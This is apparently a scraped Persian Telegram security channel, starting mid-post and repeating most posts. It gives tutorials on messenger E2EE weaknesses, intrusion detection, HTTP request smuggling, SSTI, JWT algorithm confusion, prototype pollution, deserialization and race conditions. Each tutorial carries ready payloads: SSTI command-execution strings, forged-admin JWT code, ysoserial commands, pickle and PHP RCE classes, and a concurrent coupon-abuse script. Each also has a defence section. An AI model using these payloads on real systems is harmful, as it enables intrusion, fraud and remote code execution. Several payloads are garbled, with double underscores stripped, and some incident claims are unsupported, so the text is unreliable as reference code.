بدون اینکه کاربر بفهمه، کنترل کامل گوشی رو میگیرن.
دیگه E2EE اصلاً مهم نیست.
۵. حمله به کلید
اگه کلید خصوصی طرف لو بره، همه چی تمومه.
چطور؟
از RAM گوشی، یا از بکاپ، یا از یه باگ تو Random Generator.
دفاع:
بکاپ رو خودت رمزنگاری کن.
گوشی رو همیشه آپدیت نگه دار.
از اپهایی استفاده کن که متادیتا رو هم مخفی میکنن.
مثل Signal که Sealed Sender داره.
#ℳℴ𝒷𝒾𝓃
واتساپ، سیگنال، تلگرام Secret Chat همه E2EE دارن.
یعنی پیامها رمزنگاری شده و فقط گیرنده میتونه بخونه.
ولی چند تا راه برای شکستنش هست:
۱. حمله به خود کلاینت
مهم نیست پیام رمزنگاری شده.
اگه گوشی قربانی رو هک کنی، پیامها رو همونجا رمزگشایی شده میخونی.
۲. حمله به بکاپ
واتساپ بکاپ میگیره.
اگه بکاپ رمزنگاری نشده باشه، یا کلیدش ضعیف باشه،
میتونی مستقیم پیامها رو بخونی.
۳. حمله به متادیتا
محتوا رمزنگاری شده، ولی متادیتا نه.
کی با کی حرف زده، کِی، چند بار، چقدر طول کشیده.
این اطلاعات به تنهایی میتونه خیلی چیزها رو لو بده.
۴. Pegasus و اسپایورها
N، روز صفر پیدا میکنن تو خود اپ.
بدون اینکه کاربر بفهمه، کنترل کامل گوشی رو میگیرن.
دیگه E2EE اصلاً مهم نیست.
۵. حمله به کلید
اگه کلید خصوصی طرف لو بره، همه چی تمومه.
چطور؟
از RAM گوشی، یا از بکاپ، یا از یه باگ تو Random Generator.
دفاع:
بکاپ رو خودت رمزنگاری کن.
گوشی رو همیشه آپدیت نگه دار.
از اپهایی استفاده کن که متادیتا رو هم مخفی میکنن.
مثل Signal که Sealed Sender داره.
#ℳℴ𝒷𝒾𝓃
❤6
چرا اکثر حملات بعد از نفوذ لو میرن
گرفتن دسترسی سخت نیست.
موندن تو سیستم سخته.
مثالهای واقعی از اشتباهاتی که هکرها رو لو داد:
۱. لاگین تو ساعت عجیب
کارمند معمولی ساعت ۳ بامداد SSH نمیزنه.
SOC چک میکنه، میبینه یه ورود از IP چین.
مشکوک میشه.
۲. دانلود داده زیاد
یه کاربر نرمال، روزی ۵۰۰ مگ دانلود میکنه.
اگه یهو ۵۰ گیگ دانلود کنه، یعنی داره چیزی Exfiltrate میکنه.
DLP سیستمها این رو میگیرن.
۳. اضافه کردن کاربر جدید
هکر یه حساب مخفی میسازه برای دسترسی مجدد.
ولی این خودش یه رخداد تو لاگه.
Event ID 4720 تو ویندوز.
۴. تغییر در AD
اضافه کردن خودش به گروه Domain Admins.
Event ID 4728 ثبت میشه.
۵. استفاده از ابزارهای شناختهشده
Mimikatz، Cobalt Strike، BloodHound.
امضای این ابزارها تو حافظه میمونه.
حتی اگه فایل پاک شه.
۶. فراموش کردن پاک کردن Prefetch
ویندوز اجرای برنامهها رو تو C:\Windows\Prefetch ذخیره میکنه.
اگه بدافزار اجرا شده باشه، اسمش اونجاست.
۷. حذف لاگ اما نه بکاپ
هکر لاگ اصلی رو پاک میکنه.
ولی اگه لاگ به SIEM فرستاده شده باشه، نسخه اصلی اونجاست.
۸. IPS/IDS رو نادیده گرفتن
اگه هکر از ابزارهای اسکن استفاده کنه،
IPS میگیره، حتی اگه حمله موفق نباشه.
۹. DNS Logs
هکر به C2 وصل میشه.
DNS Log نشون میده یه دامنه عجیب resolve شده.
معمولاً DGA (Domain Generation Algorithm) تو لاگ DNS واضحه.
۱۰. HTTP User-Agent
اگه هکر از curl یا python-requests استفاده کنه،
User-Agent تو لاگ Apache میمونه.
درس:
نفوذ، فقط ۵٪ کاره.
۹۵٪ بقیه، موندن بیصداست.
و اکثر هکرها تو همون ۹۵٪ لو میرن.
#ℳℴ𝒷𝒾𝓃
گرفتن دسترسی سخت نیست.
موندن تو سیستم سخته.
مثالهای واقعی از اشتباهاتی که هکرها رو لو داد:
۱. لاگین تو ساعت عجیب
کارمند معمولی ساعت ۳ بامداد SSH نمیزنه.
SOC چک میکنه، میبینه یه ورود از IP چین.
مشکوک میشه.
۲. دانلود داده زیاد
یه کاربر نرمال، روزی ۵۰۰ مگ دانلود میکنه.
اگه یهو ۵۰ گیگ دانلود کنه، یعنی داره چیزی Exfiltrate میکنه.
DLP سیستمها این رو میگیرن.
۳. اضافه کردن کاربر جدید
هکر یه حساب مخفی میسازه برای دسترسی مجدد.
ولی این خودش یه رخداد تو لاگه.
Event ID 4720 تو ویندوز.
۴. تغییر در AD
اضافه کردن خودش به گروه Domain Admins.
Event ID 4728 ثبت میشه.
۵. استفاده از ابزارهای شناختهشده
Mimikatz، Cobalt Strike، BloodHound.
امضای این ابزارها تو حافظه میمونه.
حتی اگه فایل پاک شه.
۶. فراموش کردن پاک کردن Prefetch
ویندوز اجرای برنامهها رو تو C:\Windows\Prefetch ذخیره میکنه.
اگه بدافزار اجرا شده باشه، اسمش اونجاست.
۷. حذف لاگ اما نه بکاپ
هکر لاگ اصلی رو پاک میکنه.
ولی اگه لاگ به SIEM فرستاده شده باشه، نسخه اصلی اونجاست.
۸. IPS/IDS رو نادیده گرفتن
اگه هکر از ابزارهای اسکن استفاده کنه،
IPS میگیره، حتی اگه حمله موفق نباشه.
۹. DNS Logs
هکر به C2 وصل میشه.
DNS Log نشون میده یه دامنه عجیب resolve شده.
معمولاً DGA (Domain Generation Algorithm) تو لاگ DNS واضحه.
۱۰. HTTP User-Agent
اگه هکر از curl یا python-requests استفاده کنه،
User-Agent تو لاگ Apache میمونه.
درس:
نفوذ، فقط ۵٪ کاره.
۹۵٪ بقیه، موندن بیصداست.
و اکثر هکرها تو همون ۹۵٪ لو میرن.
#ℳℴ𝒷𝒾𝓃
❤4👏3👍1
HTTP Request Smuggling، حملهای که هیچ WAF نمیگیره
وقتی یه درخواست HTTP میفرستی، دو تا هدر تعیین میکنن بدنه چقدره:
Content-Length
Transfer-Encoding
حالا اگه هر دو رو بفرستی و مقدارشون با هم نخونه، چی میشه؟
سرور Front-End (مثل Nginx) یکی رو باور میکنه.
سرور Back-End (مثل Apache) اون یکی رو.
نتیجه: درخواستها با هم قاطی میشن.
مثال CL.TE:
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Nginx میگه ۱۳ بایت، پس فقط ۰ رو میخونه.
Apache میگه chunked، پس SMUGGLED هم بخشی از درخواست بعدیه.
حالا SMUGGLED به درخواست نفر بعدی میچسبه.
یعنی چی؟
اگه یه کاربر بعد از تو بیاد، SMUGGLED میشه بخشی از درخواست اون.
میتونی درخواست قربانی رو دزدی کنی.
یا پاسخ سرور رو مسموم کنی.
حمله واقعی:
سال ۲۰۱۹ تو PayPal استفاده شد.
مهاجم تونست کوکی قربانیها رو بدزده.
سال ۲۰۲۰ تو Slack و AWS.
مهاجم تونست به پنل ادمین دسترسی بگیره.
دفاع:
از یه نسخه HTTP parser تو همه لایهها استفاده کن.
Transfer-Encoding و Content-Length رو همزمان قبول نکن.
Nginx جدید این رو فیلتر میکنه.
#ℳℴ𝒷𝒾𝓃
وقتی یه درخواست HTTP میفرستی، دو تا هدر تعیین میکنن بدنه چقدره:
Content-Length
Transfer-Encoding
حالا اگه هر دو رو بفرستی و مقدارشون با هم نخونه، چی میشه؟
سرور Front-End (مثل Nginx) یکی رو باور میکنه.
سرور Back-End (مثل Apache) اون یکی رو.
نتیجه: درخواستها با هم قاطی میشن.
مثال CL.TE:
POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
Nginx میگه ۱۳ بایت، پس فقط ۰ رو میخونه.
Apache میگه chunked، پس SMUGGLED هم بخشی از درخواست بعدیه.
حالا SMUGGLED به درخواست نفر بعدی میچسبه.
یعنی چی؟
اگه یه کاربر بعد از تو بیاد، SMUGGLED میشه بخشی از درخواست اون.
میتونی درخواست قربانی رو دزدی کنی.
یا پاسخ سرور رو مسموم کنی.
حمله واقعی:
سال ۲۰۱۹ تو PayPal استفاده شد.
مهاجم تونست کوکی قربانیها رو بدزده.
سال ۲۰۲۰ تو Slack و AWS.
مهاجم تونست به پنل ادمین دسترسی بگیره.
دفاع:
از یه نسخه HTTP parser تو همه لایهها استفاده کن.
Transfer-Encoding و Content-Length رو همزمان قبول نکن.
Nginx جدید این رو فیلتر میکنه.
#ℳℴ𝒷𝒾𝓃
❤3
SSTI، وقتی قالب سایت بهت اجازه کد زدن میده
خیلی از سایتها از Template Engine استفاده میکنن.
Jinja2 تو پایتون، Twig تو PHP، Freemarker تو Java.
حالا اگه ورودی کاربر مستقیم بره تو قالب، فاجعه میشه.
مثال ساده:
@app.route("/hello")
def hello():
name = request.args.get("name", "world")
return render_template_string("Hello " + name)
حالا اگه بفرستی:
?name={{7*7}}
خروجی میشه:
Hello 49
یعنی قالب داره کد اجرا میکنه.
حالا بریم سراغ اجرای فرمان:
Jinja2:
{{ config.class.init.globals['os'].popen('id').read() }}
Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
چرا خطرناکه؟
چون خیلی وقتا Template Engine، دسترسی به فایل سیستم و اجرای فرمان داره.
یعنی از یه ورودی ساده، به RCE کامل میرسی.
چطور تست کنیم؟
یه پیلود ساده بفرست: {{7*7}}
اگه 49 شد، جای کار داره.
بعد بفرست: {{7*'7'}}
اگه 7777777 شد، Jinja2 هست.
اگه 49 شد، Twig هست.
این تفاوتها بهت میگه کدوم موتور رو باید اکسپلویت کنی.
دفاع:
هرگز ورودی کاربر رو مستقیم تو قالب نذار.
از render_template استفاده کن، نه render_template_string.
Sandbox محیط قالب رو محدود کن.
#ℳℴ𝒷𝒾𝓃
خیلی از سایتها از Template Engine استفاده میکنن.
Jinja2 تو پایتون، Twig تو PHP، Freemarker تو Java.
حالا اگه ورودی کاربر مستقیم بره تو قالب، فاجعه میشه.
مثال ساده:
@app.route("/hello")
def hello():
name = request.args.get("name", "world")
return render_template_string("Hello " + name)
حالا اگه بفرستی:
?name={{7*7}}
خروجی میشه:
Hello 49
یعنی قالب داره کد اجرا میکنه.
حالا بریم سراغ اجرای فرمان:
Jinja2:
{{ config.class.init.globals['os'].popen('id').read() }}
Twig:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Freemarker:
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
چرا خطرناکه؟
چون خیلی وقتا Template Engine، دسترسی به فایل سیستم و اجرای فرمان داره.
یعنی از یه ورودی ساده، به RCE کامل میرسی.
چطور تست کنیم؟
یه پیلود ساده بفرست: {{7*7}}
اگه 49 شد، جای کار داره.
بعد بفرست: {{7*'7'}}
اگه 7777777 شد، Jinja2 هست.
اگه 49 شد، Twig هست.
این تفاوتها بهت میگه کدوم موتور رو باید اکسپلویت کنی.
دفاع:
هرگز ورودی کاربر رو مستقیم تو قالب نذار.
از render_template استفاده کن، نه render_template_string.
Sandbox محیط قالب رو محدود کن.
#ℳℴ𝒷𝒾𝓃
❤4
JWT alg confusion، حمله به توکنهای احراز هویت
JWT سه بخش داره:
Header.Payload.Signature
Header میگه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}
Signature با یه کلید مخفی محاسبه میشه.
حالا حمله چیه؟
فرض کن سرور از RS256 استفاده میکنه.
یعنی یه کلید خصوصی داره که باهاش امضا میکنه.
کلید عمومی هم داره که باهاش چک میکنه.
مهاجم میتونه کلید عمومی رو از سرور بگیره.
حالا چیکار میکنه؟
Header رو عوض میکنه:
{"alg":"HS256"}
و Payload رو مثلاً تغییر میده:
{"user":"admin"}
بعد با کلید عمومی (که همه میتونن داشته باشن) امضا میکنه.
سرور میبینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک میکنه.
امضا معتبره.
وارد ادمین میشی.
پیلود:
import jwt
public_key = open("public.pem").read()
token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)
نوع دیگه: alg=none
{"alg":"none"}
سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده میگیره.
token = jwt.encode({"user":"admin"}, "", algorithm="none")
دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.
#ℳℴ𝒷𝒾𝓃
JWT سه بخش داره:
Header.Payload.Signature
Header میگه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}
Signature با یه کلید مخفی محاسبه میشه.
حالا حمله چیه؟
فرض کن سرور از RS256 استفاده میکنه.
یعنی یه کلید خصوصی داره که باهاش امضا میکنه.
کلید عمومی هم داره که باهاش چک میکنه.
مهاجم میتونه کلید عمومی رو از سرور بگیره.
حالا چیکار میکنه؟
Header رو عوض میکنه:
{"alg":"HS256"}
و Payload رو مثلاً تغییر میده:
{"user":"admin"}
بعد با کلید عمومی (که همه میتونن داشته باشن) امضا میکنه.
سرور میبینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک میکنه.
امضا معتبره.
وارد ادمین میشی.
پیلود:
import jwt
public_key = open("public.pem").read()
token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)
نوع دیگه: alg=none
{"alg":"none"}
سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده میگیره.
token = jwt.encode({"user":"admin"}, "", algorithm="none")
دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.
#ℳℴ𝒷𝒾𝓃
❤5
JWT alg confusion، حمله به توکنهای احراز هویت
JWT سه بخش داره:
Header.Payload.Signature
Header میگه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}
Signature با یه کلید مخفی محاسبه میشه.
حالا حمله چیه؟
فرض کن سرور از RS256 استفاده میکنه.
یعنی یه کلید خصوصی داره که باهاش امضا میکنه.
کلید عمومی هم داره که باهاش چک میکنه.
مهاجم میتونه کلید عمومی رو از سرور بگیره.
حالا چیکار میکنه؟
Header رو عوض میکنه:
{"alg":"HS256"}
و Payload رو مثلاً تغییر میده:
{"user":"admin"}
بعد با کلید عمومی (که همه میتونن داشته باشن) امضا میکنه.
سرور میبینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک میکنه.
امضا معتبره.
وارد ادمین میشی.
پیلود:
import jwt
public_key = open("public.pem").read()
token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)
نوع دیگه: alg=none
{"alg":"none"}
سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده میگیره.
token = jwt.encode({"user":"admin"}, "", algorithm="none")
دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.
#ℳℴ𝒷𝒾𝓃
JWT سه بخش داره:
Header.Payload.Signature
Header میگه با چه الگوریتمی امضا شده.
مثلاً {"alg":"HS256"}
Signature با یه کلید مخفی محاسبه میشه.
حالا حمله چیه؟
فرض کن سرور از RS256 استفاده میکنه.
یعنی یه کلید خصوصی داره که باهاش امضا میکنه.
کلید عمومی هم داره که باهاش چک میکنه.
مهاجم میتونه کلید عمومی رو از سرور بگیره.
حالا چیکار میکنه؟
Header رو عوض میکنه:
{"alg":"HS256"}
و Payload رو مثلاً تغییر میده:
{"user":"admin"}
بعد با کلید عمومی (که همه میتونن داشته باشن) امضا میکنه.
سرور میبینه alg=HS256، پس با کلید عمومی به عنوان HMAC امضا چک میکنه.
امضا معتبره.
وارد ادمین میشی.
پیلود:
import jwt
public_key = open("public.pem").read()
token = jwt.encode(
{"user": "admin"},
public_key,
algorithm="HS256"
)
نوع دیگه: alg=none
{"alg":"none"}
سرور اگه چک نکنه که الگوریتم none مجاز نیست، امضا رو کلاً نادیده میگیره.
token = jwt.encode({"user":"admin"}, "", algorithm="none")
دفاع:
الگوریتم رو تو سرور هاردکد کن، از توکن نخون.
alg=none رو کلاً بلاک کن.
کلید عمومی رو به عنوان HMAC استفاده نکن.
#ℳℴ𝒷𝒾𝓃
❤4
Prototype Pollution، باگ عجیب جاوااسکریپت
جاوااسکریپت یه چیز عجیب داره به اسم prototype.
هر آبجکت، یه prototype داره که ازش ارث میبره.
مثل:
let obj = {}
obj.proto
اگه بتونی prototype اصلی (Object.prototype) رو تغییر بدی،
همه آبجکتهای برنامه تغییر میکنن.
مثال:
let user = {};
user.proto.isAdmin = true;
حالا هر آبجکت خالی توی برنامه isAdmin داره:
let newUser = {};
console.log(newUser.isAdmin); // true
حالا تو یه کتابخونه معروف:
JSON.parse('{"proto":{"isAdmin":true}}')
اگه کتابخونه باگ داشته باشه، این merge میشه با Object.prototype.
حالا همه کاربرا ادمینن.
حمله واقعی:
سال ۲۰۱۹ تو jQuery استفاده شد.
حمله به $.extend(true, {}, input).
سال ۲۰۲۰ تو Kibana.
مهاجم تونست RCE کامل بگیره.
سال ۲۰۲۱ تو Node.js توابع متعدد.
پیلودهای رایج:
{"proto":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"proto":{"toString":"evil"}}
چطور تست کنیم؟
یه ورودی JSON بدیم که یه پراپرتی عجیب ست کنه.
بعد چک کنیم اون پراپرتی تو همه آبجکتها هست یا نه.
دفاع:
از Object.create(null) استفاده کن.
Object.freeze(Object.prototype) بزن.
JSON.parse رو با یه reviver امن پردازش کن.
ورودی رو با یه اسکیمای سخت اعتبارسنجی کن.
#ℳℴ𝒷𝒾𝓃
جاوااسکریپت یه چیز عجیب داره به اسم prototype.
هر آبجکت، یه prototype داره که ازش ارث میبره.
مثل:
let obj = {}
obj.proto
اگه بتونی prototype اصلی (Object.prototype) رو تغییر بدی،
همه آبجکتهای برنامه تغییر میکنن.
مثال:
let user = {};
user.proto.isAdmin = true;
حالا هر آبجکت خالی توی برنامه isAdmin داره:
let newUser = {};
console.log(newUser.isAdmin); // true
حالا تو یه کتابخونه معروف:
JSON.parse('{"proto":{"isAdmin":true}}')
اگه کتابخونه باگ داشته باشه، این merge میشه با Object.prototype.
حالا همه کاربرا ادمینن.
حمله واقعی:
سال ۲۰۱۹ تو jQuery استفاده شد.
حمله به $.extend(true, {}, input).
سال ۲۰۲۰ تو Kibana.
مهاجم تونست RCE کامل بگیره.
سال ۲۰۲۱ تو Node.js توابع متعدد.
پیلودهای رایج:
{"proto":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
{"proto":{"toString":"evil"}}
چطور تست کنیم؟
یه ورودی JSON بدیم که یه پراپرتی عجیب ست کنه.
بعد چک کنیم اون پراپرتی تو همه آبجکتها هست یا نه.
دفاع:
از Object.create(null) استفاده کن.
Object.freeze(Object.prototype) بزن.
JSON.parse رو با یه reviver امن پردازش کن.
ورودی رو با یه اسکیمای سخت اعتبارسنجی کن.
#ℳℴ𝒷𝒾𝓃
❤4
Deserialization، خطرناکترین باگ دنیا
وقتی یه آبجکت رو ذخیره یا ارسال میکنی، Serialize میشه.
وقتی میخونی، Deserialize میشه.
اگه داده Serialize شده از کاربر بیاد و بدون چک Deserialize شه، فاجعه.
Java:
ObjectInputStream.readObject()
پیلود با ysoserial:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
حالا payload.bin رو بفرست به سرور.
باز کردنش یعنی اجرای calc.exe.
. NET:
BinaryFormatter.Deserialize()
پیلود با ysoserial.net:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
Python:
pickle.loads()
import pickle
import os
class Evil:
def reduce(self):
return (os.system, ("id",))
payload = pickle.dumps(Evil())
# این رو بفرست به سرور
# وقتی unpickle بشه، id اجرا میشه
PHP:
unserialize()
class Evil {
function __destruct() {
system($this->cmd);
}
}
$payload = serialize(new Evil());
// وقتی unserialize بشه، __destruct اجرا میشه
چرا این خطرناکترینه؟
چون مستقیم RCE میشه.
بدون نیاز به هیچ مرحله دیگه.
دفاع:
هرگز داده serialize شده از کاربر نگیر.
اگه مجبوری، از format های امن مثل JSON استفاده کن.
تو Java، ObjectInputFilter رو فعال کن.
تو Python، از pickle استفاده نکن. از json برو.
#ℳℴ𝒷𝒾𝓃
وقتی یه آبجکت رو ذخیره یا ارسال میکنی، Serialize میشه.
وقتی میخونی، Deserialize میشه.
اگه داده Serialize شده از کاربر بیاد و بدون چک Deserialize شه، فاجعه.
Java:
ObjectInputStream.readObject()
پیلود با ysoserial:
java -jar ysoserial.jar CommonsCollections1 "calc.exe" > payload.bin
حالا payload.bin رو بفرست به سرور.
باز کردنش یعنی اجرای calc.exe.
. NET:
BinaryFormatter.Deserialize()
پیلود با ysoserial.net:
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
Python:
pickle.loads()
import pickle
import os
class Evil:
def reduce(self):
return (os.system, ("id",))
payload = pickle.dumps(Evil())
# این رو بفرست به سرور
# وقتی unpickle بشه، id اجرا میشه
PHP:
unserialize()
class Evil {
function __destruct() {
system($this->cmd);
}
}
$payload = serialize(new Evil());
// وقتی unserialize بشه، __destruct اجرا میشه
چرا این خطرناکترینه؟
چون مستقیم RCE میشه.
بدون نیاز به هیچ مرحله دیگه.
دفاع:
هرگز داده serialize شده از کاربر نگیر.
اگه مجبوری، از format های امن مثل JSON استفاده کن.
تو Java، ObjectInputFilter رو فعال کن.
تو Python، از pickle استفاده نکن. از json برو.
#ℳℴ𝒷𝒾𝓃
❤4
Race Condition، باگی که به چشم نمیاد
فرض کن یه فروشگاه داره که هر کاربر فقط یه بار میتونه کد تخفیف بزنه.
کد تو دیتابیس اینطوری چک میشه:
1. آیا کاربر قبلاً استفاده کرده؟
2. اگه نه، کد رو اعمال کن
3. علامت بزن که کاربر استفاده کرده
حالا اگه ۱۰۰ تا درخواست همزمان بفرستی چی میشه؟
همهشون مرحله ۱ رو چک میکنن.
همه میبینن "استفاده نکرده".
همه مرحله ۲ رو اجرا میکنن.
همه تخفیف میگیرن.
این باگ تو Türkcell ترکیه استفاده شد.
میلیونها دلار ضرر.
مثال با پایتون:
import asyncio
import aiohttp
async def send():
async with aiohttp.ClientSession() as session:
await session.post(
"https://target.com/apply-coupon",
data={"coupon": "OFF50"}
)
async def main():
tasks = [send() for _ in range(50)]
await asyncio.gather(*tasks)
asyncio.run(main())
چرا کار میکنه؟
چون بین خوندن و نوشتن، یه تاخیر کوچیک هست.
اگه بتونی ۵۰ تا درخواست رو تو اون تاخیر بفرستی،
همهشون روی هم میافتن.
مثال دیگه:
انتقال پول.
موجودی: ۱۰۰۰ تومان.
دو تا انتقال همزمان ۱۰۰۰ تومان.
دیتابیس میگه: کافیه، کافیه.
هر دو انجام میشن.
حالا -۱۰۰۰ تومان داری.
دفاع:
از Lock استفاده کن.
Transaction با Isolation مناسب.
از Atomic Operations استفاده کن.
Rate Limit بذار.
#ℳℴ𝒷𝒾𝓃
فرض کن یه فروشگاه داره که هر کاربر فقط یه بار میتونه کد تخفیف بزنه.
کد تو دیتابیس اینطوری چک میشه:
1. آیا کاربر قبلاً استفاده کرده؟
2. اگه نه، کد رو اعمال کن
3. علامت بزن که کاربر استفاده کرده
حالا اگه ۱۰۰ تا درخواست همزمان بفرستی چی میشه؟
همهشون مرحله ۱ رو چک میکنن.
همه میبینن "استفاده نکرده".
همه مرحله ۲ رو اجرا میکنن.
همه تخفیف میگیرن.
این باگ تو Türkcell ترکیه استفاده شد.
میلیونها دلار ضرر.
مثال با پایتون:
import asyncio
import aiohttp
async def send():
async with aiohttp.ClientSession() as session:
await session.post(
"https://target.com/apply-coupon",
data={"coupon": "OFF50"}
)
async def main():
tasks = [send() for _ in range(50)]
await asyncio.gather(*tasks)
asyncio.run(main())
چرا کار میکنه؟
چون بین خوندن و نوشتن، یه تاخیر کوچیک هست.
اگه بتونی ۵۰ تا درخواست رو تو اون تاخیر بفرستی،
همهشون روی هم میافتن.
مثال دیگه:
انتقال پول.
موجودی: ۱۰۰۰ تومان.
دو تا انتقال همزمان ۱۰۰۰ تومان.
دیتابیس میگه: کافیه، کافیه.
هر دو انجام میشن.
حالا -۱۰۰۰ تومان داری.
دفاع:
از Lock استفاده کن.
Transaction با Isolation مناسب.
از Atomic Operations استفاده کن.
Rate Limit بذار.
#ℳℴ𝒷𝒾𝓃
❤4